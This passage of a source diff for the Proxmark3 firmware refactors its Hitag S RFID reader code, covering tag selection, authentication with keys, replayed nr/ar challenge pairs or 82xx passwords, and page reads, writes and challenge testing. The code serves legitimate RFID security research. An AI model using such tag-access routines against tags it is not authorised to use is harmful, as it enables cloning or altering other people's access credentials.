Set fpga in edge detect with reader field, we can modulate as reader now - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Configure output and enable pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; - - // Disable modulation at default, which means enable the field - LOW(GPIO_SSC_DOUT); - - // Dbprintf("TC0_CV:%i TC1_CV:%i TC1_RA:%i", AT91C_BASE_TC0->TC_CV, AT91C_BASE_TC1->TC_CV, AT91C_BASE_TC1->TC_RA); + // Setup FPGA and initialize + hitag_setup_fpga(FPGA_LF_EDGE_DETECT_READER_FIELD, 127, ledcontrol); // UID request standard 00110 // UID request Advanced 1100x // UID request FAdvanced 11010 - size_t txlen = 0; - size_t rxlen = 0; - uint8_t cmd = HITAGS_UID_REQ_ADV; - txlen = concatbits(tx, txlen, &cmd, 0, 5); - sendReceiveHitagS(tx, txlen, rx, sizeofrx, &rxlen, t_wait, ledcontrol, true); + protocol_mode = packet->mode; + uint8_t cmd = protocol_mode; + txlen = concatbits(tx, txlen, &cmd, 0, 5, false); + hts_send_receive(tx, txlen, rx, sizeofrx, &rxlen, t_wait, ledcontrol, true); if (rxlen != 32) { - DbpString("UID Request failed!"); - return -1; + // DbpString("UID Request failed!"); + return -2; } - tag.uid = (rx[3] << 24 | rx[2] << 16 | rx[1] << 8 | rx[0]); + memcpy(tag.data.pages[HITAGS_UID_PADR], rx, HITAGS_PAGE_SIZE); - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("UID: %02X %02X %02X %02X", rx[0], rx[1], rx[2], rx[3]); - } + DBG Dbprintf("UID... %02X%02X%02X%02X", rx[0], rx[1], rx[2], rx[3]); - //select uid + // select uid txlen = 0; cmd = HITAGS_SELECT; - txlen = concatbits(tx, txlen, &cmd, 0, 5); - txlen = concatbits(tx, txlen, rx, 0, 32); + txlen = concatbits(tx, txlen, &cmd, 0, 5, false); + txlen = concatbits(tx, txlen, rx, 0, 32, false); uint8_t crc = CRC8Hitag1Bits(tx, txlen); - txlen = concatbits(tx, txlen, &crc, 0, 8); + txlen = concatbits(tx, txlen, &crc, 0, 8, false); - sendReceiveHitagS(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); + hts_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); - if (rxlen != 40) { - Dbprintf("Select UID failed! %i", rxlen); - return -1; + if (rxlen != 32 + (protocol_mode == HITAGS_UID_REQ_STD ? 0 : 8)) { + DBG Dbprintf("Select UID failed! %i", rxlen); + return -3; } - uint8_t conf_pages[3]; - conf_pages[0] = rx[0]; + memcpy(tag.data.pages[HITAGS_CONFIG_PADR], rx, HITAGS_PAGE_SIZE - 1); - //check which memorysize this tag has - if ((conf_pages[0] & 0x3) == 0x00) { - tag.max_page = 32 / 32; - } else if ((conf_pages[0] & 0x3) == 0x1) { - tag.max_page = 256 / 32; - } else if ((conf_pages[0] & 0x3) == 0x2) { - tag.max_page = 2048 / 32; - } + update_tag_max_page(); - conf_pages[1] = rx[1]; - tag.auth = (conf_pages[1] >> 7) & 0x1; - tag.TTFC = (conf_pages[1] >> 6) & 0x1; - tag.TTFDR = (conf_pages[1] >> 5) & 0x3; - tag.TTFM = (conf_pages[1] >> 3) & 0x3; - tag.LCON = (conf_pages[1] >> 1) & 0x1; - tag.LKP = (conf_pages[1] >> 0) & 0x1; + DBG Dbprintf("conf 0: %02X conf 1: %02X conf 2: %02X", tag.data.pages[HITAGS_CONFIG_PADR][0], tag.data.pages[HITAGS_CONFIG_PADR][1], tag.data.pages[HITAGS_CONFIG_PADR][2]); - conf_pages[2] = rx[2]; + if (tag.data.s.config.auth == 1) { - tag.LCK7 = (conf_pages[2] >> 7) & 0x1; - tag.LCK6 = (conf_pages[2] >> 6) & 0x1; - tag.LCK5 = (conf_pages[2] >> 5) & 0x1; - tag.LCK4 = (conf_pages[2] >> 4) & 0x1; - tag.LCK3 = (conf_pages[2] >> 3) & 0x1; - tag.LCK2 = (conf_pages[2] >> 2) & 0x1; - tag.LCK1 = (conf_pages[2] >> 1) & 0x1; - tag.LCK0 = (conf_pages[2] >> 0) & 0x1; + uint64_t key_le = 0; + // if the tag is in authentication mode try the key or challenge + if (packet->cmd == HTSF_KEY) { - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("conf 0: %02X conf 1: %02X conf 2: %02X", conf_pages[0], conf_pages[1], conf_pages[2]); - } + key_le = MemLeToUint6byte(packet->key); - if (tag.auth == 1) { - uint64_t key = 0; - //if the tag is in authentication mode try the key or challenge - if (packet->cmd == RHTSF_KEY || packet->cmd == WHTSF_KEY) { - - if (g_dbglevel >= DBG_EXTENDED) { - DbpString("Authenticating using key:"); - Dbhexdump(6, packet->key, false); - } - key = ((uint64_t)packet->key[0]) << 0 | - ((uint64_t)packet->key[1]) << 8 | - ((uint64_t)packet->key[2]) << 16 | - ((uint64_t)packet->key[3]) << 24 | - ((uint64_t)packet->key[4]) << 32 | - ((uint64_t)packet->key[5]) << 40 - ; - - uint64_t state = ht2_hitag2_init(REV64(key), REV32(tag.uid), REV32(rnd)); + uint32_t le_val = MemLeToUint4byte(rnd); + uint64_t state = ht2_hitag2_init(REV64(key_le), REV32(tag.data.s.uid_le), REV32(le_val)); uint8_t auth_ks[4]; for (int i = 0; i < 4; i++) { @@ -1327,23 +589,17 @@ static int selectHitagS(const lf_hitag_data_t *packet, uint8_t *tx, size_t sizeo } txlen = 0; - uint8_t revrnd[4] = {rnd, rnd >> 8, rnd >> 16, rnd >> 24}; - txlen = concatbits(tx, txlen, revrnd, 0, 32); - txlen = concatbits(tx, txlen, auth_ks, 0, 32); + txlen = concatbits(tx, txlen, rnd, 0, 32, false); + txlen = concatbits(tx, txlen, auth_ks, 0, 32, false); - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("%02X %02X %02X %02X %02X %02X %02X %02X" - , tx[0], tx[1], tx[2], tx[3] - , tx[4], tx[5], tx[6], tx[7] - ); - } + DBG DbpString("Authenticating using key:"); + DBG Dbhexdump(6, packet->key, false); + DBG Dbprintf("%02X %02X %02X %02X %02X %02X %02X %02X", tx[0], tx[1], tx[2], tx[3], tx[4], tx[5], tx[6], tx[7]); - } else if (packet->cmd == RHTSF_CHALLENGE || packet->cmd == WHTSF_CHALLENGE) { + } else if (packet->cmd == HTSF_CHALLENGE) { - if (g_dbglevel >= DBG_EXTENDED) { - DbpString("Authenticating using nr,ar pair:"); - Dbhexdump(8, packet->NrAr, false); - } + DBG DbpString("Authenticating using nr,ar pair:"); + DBG Dbhexdump(8, packet->NrAr, false); uint64_t NrAr = 0; NrAr = ((uint64_t)packet->NrAr[7]) << 0 | @@ -1360,34 +616,68 @@ static int selectHitagS(const lf_hitag_data_t *packet, uint8_t *tx, size_t sizeo tx[i] = ((NrAr >> (56 - (i * 8))) & 0xFF); } - } else if (packet->cmd == RHTSF_PLAIN || packet->cmd == WHTSF_PLAIN) { - Dbprintf("Error, " _YELLOW_("AUT=1") " This tag is configured in Authentication Mode"); - return -1; + } else if (packet->cmd == HTSF_82xx) { + // 8268/8310 Authentication by writing password to block 64 + + // send write page request + txlen = 0; + cmd = HITAGS_WRITE_PAGE; + txlen = concatbits(tx, txlen, &cmd, 0, 4, false); + + uint8_t addr = 64; + txlen = concatbits(tx, txlen, &addr, 0, 8, false); + + crc = CRC8Hitag1Bits(tx, txlen); + txlen = concatbits(tx, txlen, &crc, 0, 8, false); + + hts_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); + + if ((rxlen != 2) || (rx[0] >> (8 - 2) != 0x01)) { + // Dbprintf("no write access on page " _YELLOW_("64") ". not 82xx?"); + return -4; + } + + txlen = 0; + txlen = concatbits(tx, txlen, packet->pwd, 0, 32, false); + crc = CRC8Hitag1Bits(tx, txlen); + txlen = concatbits(tx, txlen, &crc, 0, 8, false); + + hts_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); + + if ((rxlen != 2) || (rx[0] >> (8 - 2) != 0x01)) { + // Dbprintf("write to page " _YELLOW_("64") " failed! wrong password?"); + return -5; + } + + return 0; + } else if (packet->cmd == HTSF_PLAIN) { + // Dbprintf("Error, " _YELLOW_("AUT=1") " This tag is configured in Authentication Mode"); + return -6; } else { - Dbprintf("Error, unknown function: " _RED_("%d"), packet->cmd); - return -1; + DBG Dbprintf("Error, unknown function: " _RED_("%d"), packet->cmd); + return -7; } - sendReceiveHitagS(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); + hts_send_receive(tx, txlen, rx, sizeofrx, &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); - if (rxlen != 40) { - Dbprintf("Authenticate failed! " _RED_("%i"), rxlen); - return -1; + if (rxlen != 32 + (protocol_mode == HITAGS_UID_REQ_STD ? 0 : 8)) { + DBG Dbprintf("Authenticate failed! " _RED_("%i"), rxlen); + return -8; } //encrypted con2,password received. - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("UID:::%X", tag.uid); - Dbprintf("RND:::%X", rnd); - } + DBG Dbprintf("UID... %08X", BSWAP_32(tag.data.s.uid_le)); + DBG Dbprintf("RND... %02X%02X%02X%02X", rnd[0], rnd[1], rnd[2], rnd[3]); //decrypt password pwdh0 = 0; pwdl0 = 0; pwdl1 = 0; - if (packet->cmd == RHTSF_KEY || packet->cmd == WHTSF_KEY) { + if (packet->cmd == HTSF_KEY) { + + uint32_t le_val = MemLeToUint4byte(rnd); + uint64_t state = ht2_hitag2_init(REV64(key_le), REV32(tag.data.s.uid_le), REV32(le_val)); - uint64_t state = ht2_hitag2_init(REV64(key), REV32(tag.uid), REV32(rnd)); for (int i = 0; i < 4; i++) { ht2_hitag2_byte(&state); } @@ -1397,11 +687,7 @@ static int selectHitagS(const lf_hitag_data_t *packet, uint8_t *tx, size_t sizeo pwdl0 = rx[2] ^ ht2_hitag2_byte(&state); pwdl1 = rx[3] ^ ht2_hitag2_byte(&state); - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("con2 %02X pwdh0 %02X pwdl0 %02X pwdl1 %02X", con2, pwdh0, pwdl0, pwdl1); - } - //Dbprintf("%X %02X", rnd, ((rx[4] & 0x0f) * 16) + ((rx[5] & 0xf0) / 16)); - //rnd += 1; + DBG Dbprintf("con2 %02X pwdh0 %02X pwdl0 %02X pwdl1 %02X", con2, pwdh0, pwdl0, pwdl1); } } return 0; @@ -1412,110 +698,126 @@ static int selectHitagS(const lf_hitag_data_t *packet, uint8_t *tx, size_t sizeo * If the key was given the password will be decrypted. * Reads every page of a hitag S transpoder. */ -void ReadHitagS(const lf_hitag_data_t *payload, bool ledcontrol) { +void hts_read(const lf_hitag_data_t *payload, bool ledcontrol) { - uint8_t rx[HITAG_FRAME_LEN]; - size_t rxlen = 0; + uint8_t rx[HITAG_FRAME_LEN] = { 0x00 }; + uint8_t tx[HITAG_FRAME_LEN] = { 0x00 }; - uint8_t tx[HITAG_FRAME_LEN]; - - if (selectHitagS(payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol) == -1) { - - hitagS_stop_clock(); - set_tracing(false); - lf_finalize(ledcontrol); - reply_ng(CMD_LF_HITAGS_READ, PM3_ERFTRANS, NULL, 0); - return; + int status = PM3_SUCCESS, reason = -1; + reason = hts_select_tag(payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); + if (reason != 0) { + status = PM3_ERFTRANS; + goto read_end; } - int pageNum = 0; + + if (payload->page >= tag.max_page) { + DBG Dbprintf("Warning, read page "_YELLOW_("%d") " > max page("_YELLOW_("%d") ") ", payload->page, tag.max_page); + } + + int page_addr = payload->page; + int page_index = 0; + lf_hts_read_response_t card = {0}; + + memcpy(card.config_page.asBytes, tag.data.pages[HITAGS_CONFIG_PADR], HITAGS_PAGE_SIZE); while ((BUTTON_PRESS() == false) && (data_available() == false)) { + if (payload->page_count == 0) { + if (page_addr > tag.max_page) break; + } else if (page_addr > 255 || page_addr >= payload->page + payload->page_count) { + break; + } + WDT_HIT(); + size_t rxlen = 0; + //send read request size_t txlen = 0; uint8_t cmd = HITAGS_READ_PAGE; - txlen = concatbits(tx, txlen, &cmd, 0, 4); - uint8_t addr = pageNum; - txlen = concatbits(tx, txlen, &addr, 0, 8); + txlen = concatbits(tx, txlen, &cmd, 0, 4, false); + uint8_t addr = page_addr; + txlen = concatbits(tx, txlen, &addr, 0, 8, false); uint8_t crc = CRC8Hitag1Bits(tx, txlen); - txlen = concatbits(tx, txlen, &crc, 0, 8); + txlen = concatbits(tx, txlen, &crc, 0, 8, false); - sendReceiveHitagS(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); + hts_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); - if (rxlen == 0) { - Dbprintf("Read page failed!"); - break; + if (rxlen != 32 + (protocol_mode == HITAGS_UID_REQ_STD ? 0 : 8)) { + DBG Dbprintf("Read page failed!"); + card.pages_reason[page_index] = -11; + // status = PM3_ERFTRANS; + // goto read_end; + page_addr++; + page_index++; + continue; } //save received data - 40 bits - for (int i = 0; i < 4 && i < rxlen; i++) { // set page bytes from received bits - tag.pages[pageNum][i] = rx[i]; - } + memcpy(card.pages[page_index], rx, HITAGS_PAGE_SIZE); if (g_dbglevel >= DBG_EXTENDED) { - if (tag.auth && tag.LKP && pageNum == 1) { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, pwdh0, - (tag.pages[pageNum][2]) & 0xff, - (tag.pages[pageNum][1]) & 0xff, - tag.pages[pageNum][0] & 0xff); - } else { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, - (tag.pages[pageNum][3]) & 0xff, - (tag.pages[pageNum][2]) & 0xff, - (tag.pages[pageNum][1]) & 0xff, - tag.pages[pageNum][0] & 0xff); + if (page_addr == 1 && (payload->cmd == HTSF_KEY || payload->cmd == HTSF_CHALLENGE) && card.config_page.s.auth == 1) { + DBG Dbprintf("Page[%2d]: %02X %02X %02X %02X", page_addr, + card.pages[page_index][0], + card.pages[page_index][1], + card.pages[page_index][2], + pwdh0); + } else { // HTSF_PLAIN or HTSF_82xx can read the full page + DBG Dbprintf("Page[%2d]: %02X %02X %02X %02X", page_addr, + card.pages[page_index][0], + card.pages[page_index][1], + card.pages[page_index][2], + card.pages[page_index][3]); } } - pageNum++; + page_addr++; + page_index++; //display key and password if possible - if (pageNum == 2 && tag.auth == 1 && tag.LKP) { - if (payload->cmd == RHTSF_KEY) { - Dbprintf("Page[ 2]: %02X %02X %02X %02X", - payload->key[1], - payload->key[0], - pwdl1, - pwdl0 - ); - Dbprintf("Page[ 3]: %02X %02X %02X %02X", - payload->key[5], - payload->key[4], - payload->key[3], - payload->key[2] - ); + if (page_addr == 2 && card.config_page.s.auth == 1 && card.config_page.s.LKP) { + if (payload->cmd == HTSF_KEY) { + DBG Dbprintf("Page[ 2]: %02X %02X %02X %02X", + payload->key[1], + payload->key[0], + pwdl1, + pwdl0 + ); + DBG Dbprintf("Page[ 3]: %02X %02X %02X %02X", + payload->key[5], + payload->key[4], + payload->key[3], + payload->key[2] + ); + card.pages_reason[page_index++] = 1; + card.pages_reason[page_index++] = 1; } else { //if the authentication is done with a challenge the key and password are unknown - Dbprintf("Page[ 2]: __ __ __ __"); - Dbprintf("Page[ 3]: __ __ __ __"); + DBG Dbprintf("Page[ 2]: __ __ __ __"); + DBG Dbprintf("Page[ 3]: __ __ __ __"); + card.pages_reason[page_index++] = -11; + card.pages_reason[page_index++] = -11; } // since page 2+3 are not accessible when LKP == 1 and AUT == 1 fastforward to next readable page - pageNum = 4; - } - if (pageNum >= tag.max_page) { - break; + page_addr = 4; } } - hitagS_stop_clock(); - set_tracing(false); - lf_finalize(ledcontrol); - reply_ng(CMD_LF_HITAGS_READ, PM3_SUCCESS, (uint8_t *)tag.pages, sizeof(tag.pages)); +read_end: + hitag_cleanup(ledcontrol); + reply_reason(CMD_LF_HITAGS_READ, status, reason, (uint8_t *)&card, sizeof(card)); } /* * Authenticates to the Tag with the given Key or Challenge. * Writes the given 32Bit data into page_ */ -void WritePageHitagS(const lf_hitag_data_t *payload, bool ledcontrol) { +void hts_write_page(const lf_hitag_data_t *payload, bool ledcontrol) { //check for valid input if (payload->page == 0) { - Dbprintf("Error, invalid page"); - reply_ng(CMD_LF_HITAGS_WRITE, PM3_EINVARG, NULL, 0); - return; + DBG Dbprintf("Warning, write page 0"); } uint8_t rx[HITAG_FRAME_LEN]; @@ -1524,46 +826,45 @@ void WritePageHitagS(const lf_hitag_data_t *payload, bool ledcontrol) { uint8_t tx[HITAG_FRAME_LEN]; size_t txlen = 0; - int res = PM3_ESOFT; - - if (selectHitagS(payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol) == -1) { - res = PM3_ERFTRANS; + int status = PM3_ESOFT, reason = -1; + reason = hts_select_tag(payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); + if (reason != 0) { + status = PM3_ERFTRANS; goto write_end; } //check if the given page exists if (payload->page > tag.max_page) { - Dbprintf("Error, page number too large"); - res = PM3_EINVARG; - goto write_end; + DBG Dbprintf("Warning, page number too large"); + // 82xx CON0 is fully modifiable } //send write page request txlen = 0; uint8_t cmd = HITAGS_WRITE_PAGE; - txlen = concatbits(tx, txlen, &cmd, 0, 4); + txlen = concatbits(tx, txlen, &cmd, 0, 4, false); uint8_t addr = payload->page; - txlen = concatbits(tx, txlen, &addr, 0, 8); + txlen = concatbits(tx, txlen, &addr, 0, 8, false); uint8_t crc = CRC8Hitag1Bits(tx, txlen); - txlen = concatbits(tx, txlen, &crc, 0, 8); + txlen = concatbits(tx, txlen, &crc, 0, 8, false); - sendReceiveHitagS(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); + hts_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); if ((rxlen != 2) || (rx[0] >> (8 - 2) != 0x01)) { - Dbprintf("no write access on page " _YELLOW_("%d"), payload->page); - res = PM3_ESOFT; + DBG Dbprintf("no write access on page " _YELLOW_("%d"), payload->page); + reason = -9; goto write_end; } // //ACK received to write the page. send data // uint8_t data[4] = {0, 0, 0, 0}; // switch (payload->cmd) { - // case WHTSF_PLAIN: - // case WHTSF_CHALLENGE: - // case WHTSF_KEY: + // case HTSF_PLAIN: + // case HTSF_CHALLENGE: + // case HTSF_KEY: // data[0] = payload->data[3]; // data[1] = payload->data[2]; // data[2] = payload->data[1]; @@ -1576,23 +877,65 @@ void WritePageHitagS(const lf_hitag_data_t *payload, bool ledcontrol) { // } txlen = 0; - txlen = concatbits(tx, txlen, payload->data, 0, 32); + txlen = concatbits(tx, txlen, payload->data, 0, 32, false); crc = CRC8Hitag1Bits(tx, txlen); - txlen = concatbits(tx, txlen, &crc, 0, 8); + txlen = concatbits(tx, txlen, &crc, 0, 8, false); - sendReceiveHitagS(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, false); + enable_page_tearoff = g_tearoff_enabled; + + if (hts_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_SC, ledcontrol, false) == PM3_ETEAROFF) { + status = PM3_ETEAROFF; + enable_page_tearoff = false; + goto write_end; + } if ((rxlen != 2) || (rx[0] >> (8 - 2) != 0x01)) { - res = PM3_ESOFT; // write failed + reason = -10; // write failed } else { - res = PM3_SUCCESS; + status = PM3_SUCCESS; } write_end: - hitagS_stop_clock(); - set_tracing(false); - lf_finalize(ledcontrol); - reply_ng(CMD_LF_HITAGS_WRITE, res, NULL, 0); + hitag_cleanup(ledcontrol); + reply_reason(CMD_LF_HITAGS_WRITE, status, reason, NULL, 0); +} + +int hts_read_uid(uint32_t *uid, bool ledcontrol, bool send_answer) { + // Setup FPGA and initialize + hitag_setup_fpga(FPGA_LF_EDGE_DETECT_READER_FIELD, 127, ledcontrol); + + protocol_mode = HITAGS_UID_REQ_ADV1; + uint8_t cmd = protocol_mode; + + size_t rxlen = 0; + uint8_t rx[HITAG_FRAME_LEN] = { 0x00 }; + + size_t txlen = 0; + uint8_t tx[HITAG_FRAME_LEN] = { 0x00 }; + + txlen = concatbits(tx, txlen, &cmd, 0, 5, false); + + hts_send_receive(tx, txlen, rx, ARRAYLEN(rx), &rxlen, HITAG_T_WAIT_FIRST, ledcontrol, true); + + int status = PM3_SUCCESS; + if (rxlen == 32) { + + memcpy(tag.data.pages[0], rx, HITAGS_PAGE_SIZE); + + if (uid) { + *uid = BSWAP_32(tag.data.s.uid_le); + } + + } else { + DBG DbpString("UID Request failed!"); + status = PM3_ERFTRANS; + } + + hitag_cleanup(ledcontrol); + if (send_answer) { + reply_ng(CMD_LF_HITAGS_UID, status, (uint8_t *)tag.data.pages, sizeof(tag.data.pages)); + } + return status; } /* @@ -1602,11 +945,11 @@ write_end: * is not received correctly due to Antenna problems. This function * detects these challenges. */ -void Hitag_check_challenges(const uint8_t *data, uint32_t datalen, bool ledcontrol) { +void hts_check_challenges(const uint8_t *data, uint32_t datalen, bool ledcontrol) { //check for valid input if (datalen < 8) { - Dbprintf("Error, missing challenges"); + DBG Dbprintf("Error, missing challenges"); reply_ng(CMD_LF_HITAGS_TEST_TRACES, PM3_EINVARG, NULL, 0); return; } @@ -1621,24 +964,25 @@ void Hitag_check_challenges(const uint8_t *data, uint32_t datalen, bool ledcontr lf_hitag_data_t payload; memset(&payload, 0, sizeof(payload)); - payload.cmd = RHTSF_CHALLENGE; + payload.cmd = HTSF_CHALLENGE; memcpy(payload.NrAr, data + dataoffset, 8); - int res = selectHitagS(&payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); - Dbprintf("Challenge %s: %02X %02X %02X %02X %02X %02X %02X %02X", - res == -1 ? "failed " : "success", - payload.NrAr[0], payload.NrAr[1], - payload.NrAr[2], payload.NrAr[3], - payload.NrAr[4], payload.NrAr[5], - payload.NrAr[6], payload.NrAr[7] - ); + int reason = hts_select_tag(&payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); - if (res == -1) { + DBG Dbprintf("Challenge %s: %02X %02X %02X %02X %02X %02X %02X %02X", + reason != 0 ? "failed " : "success", + payload.NrAr[0], payload.NrAr[1], + payload.NrAr[2], payload.NrAr[3], + payload.NrAr[4], payload.NrAr[5], + payload.NrAr[6], payload.NrAr[7] + ); + + if (reason != 0) { // Need to do a dummy UID select that will fail FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); SpinDelay(2); - selectHitagS(&payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); + hts_select_tag(&payload, tx, ARRAYLEN(tx), rx, ARRAYLEN(rx), HITAG_T_WAIT_FIRST, ledcontrol); } dataoffset += 8; @@ -1652,9 +996,7 @@ void Hitag_check_challenges(const uint8_t *data, uint32_t datalen, bool ledcontr SpinDelay(2); } - hitagS_stop_clock(); - set_tracing(false); - lf_finalize(ledcontrol); - reply_ng(CMD_ACK, PM3_SUCCESS, NULL, 0); + hitag_cleanup(ledcontrol); + reply_ng(CMD_LF_HITAGS_TEST_TRACES, PM3_SUCCESS, NULL, 0); return; } diff --git a/armsrc/hitagS.h b/armsrc/hitagS.h index 6278b1b18..5c2008b31 100644 --- a/armsrc/hitagS.h +++ b/armsrc/hitagS.h @@ -24,8 +24,9 @@ #include "common.h" #include "hitag.h" -void SimulateHitagSTag(bool tag_mem_supplied, const uint8_t *data, bool ledcontrol); -void ReadHitagS(const lf_hitag_data_t *payload, bool ledcontrol); -void WritePageHitagS(const lf_hitag_data_t *payload, bool ledcontrol); -void Hitag_check_challenges(const uint8_t *data, uint32_t datalen, bool ledcontrol); +void hts_simulate(bool tag_mem_supplied, int8_t threshold, const uint8_t *data, bool ledcontrol); +void hts_read(const lf_hitag_data_t *payload, bool ledcontrol); +void hts_write_page(const lf_hitag_data_t *payload, bool ledcontrol); +void hts_check_challenges(const uint8_t *data, uint32_t datalen, bool ledcontrol); +int hts_read_uid(uint32_t *uid, bool ledcontrol, bool send_answer); #endif diff --git a/armsrc/hitag_common.c b/armsrc/hitag_common.c new file mode 100644 index 000000000..d08e090a1 --- /dev/null +++ b/armsrc/hitag_common.c @@ -0,0 +1,539 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Hitag shared functionality +//----------------------------------------------------------------------------- + +#include "hitag_common.h" + +#include "proxmark3_arm.h" +#include "cmd.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "string.h" +#include "commonutil.h" +#include "hitag2/hitag2_crypto.h" +#include "lfadc.h" +#include "crc.h" +#include "protocols.h" +#include "appmain.h" // tearoff_hook() + +uint16_t timestamp_high = 0; // Timer Counter 2 overflow count, combined with TC2 counter for ~47min timing + +static void hitag_stop_clock(void) { + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKDIS; +} + +static void hitag_init_clock(void) { + // Enable Peripheral Clock for + // Timer Counter 0, used to measure exact timing before answering + // Timer Counter 1, used to capture edges of the tag frames + // Timer Counter 2, used to log trace time + AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1) | (1 << AT91C_ID_TC2); + + AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + + // Disable timer during configuration + hitag_stop_clock(); + + // TC0: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; + + // TC1: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), TIOA is external trigger, + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK // use MCK/32 (TIMER_CLOCK3) + | AT91C_TC_ABETRG // TIOA is used as an external trigger + | AT91C_TC_ETRGEDG_FALLING // external trigger on falling edge + | AT91C_TC_LDRA_RISING // load RA on on rising edge of TIOA + | AT91C_TC_LDRB_FALLING; // load RB on on falling edge of TIOA + + // TC2: Capture mode, default timer source = MCK/32 (TIMER_CLOCK3), no triggers + AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK; + + // Enable and reset counters + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Assert a sync signal. This sets all timers to 0 on next active clock edge + AT91C_BASE_TCB->TCB_BCR = 1; + + // synchronized startup procedure + // In theory, with MCK/32, we shouldn't be waiting longer than 32 instruction statements, right? + while (AT91C_BASE_TC0->TC_CV != 0) { + }; // wait until TC0 returned to zero + + // reset timestamp + timestamp_high = 0; +} + +// Initialize FPGA and timer for Hitag operations +void hitag_setup_fpga(uint16_t conf, uint8_t threshold, bool ledcontrol) { + StopTicks(); + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + if (ledcontrol) LED_D_ON(); + + hitag_init_clock(); + + // Set fpga in edge detect with/without reader field, we can modulate as reader/tag now + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | conf); + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz + if (threshold != 127) FpgaSendCommand(FPGA_CMD_SET_EDGE_DETECT_THRESHOLD, threshold); + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + + // Configure output and enable pin that is connected to the FPGA (for modulating) + AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; + + // Disable modulation at default, which means enable the field + LOW(GPIO_SSC_DOUT); +} + +// Clean up and finalize Hitag operations +void hitag_cleanup(bool ledcontrol) { + hitag_stop_clock(); + set_tracing(false); + lf_finalize(ledcontrol); +} + +// Reader functions +static void hitag_reader_send_bit(int bit, bool ledcontrol) { + // Reset clock for the next bit + AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + while (AT91C_BASE_TC0->TC_CV != 0) {}; + + if (ledcontrol) LED_A_ON(); + + // Binary puls length 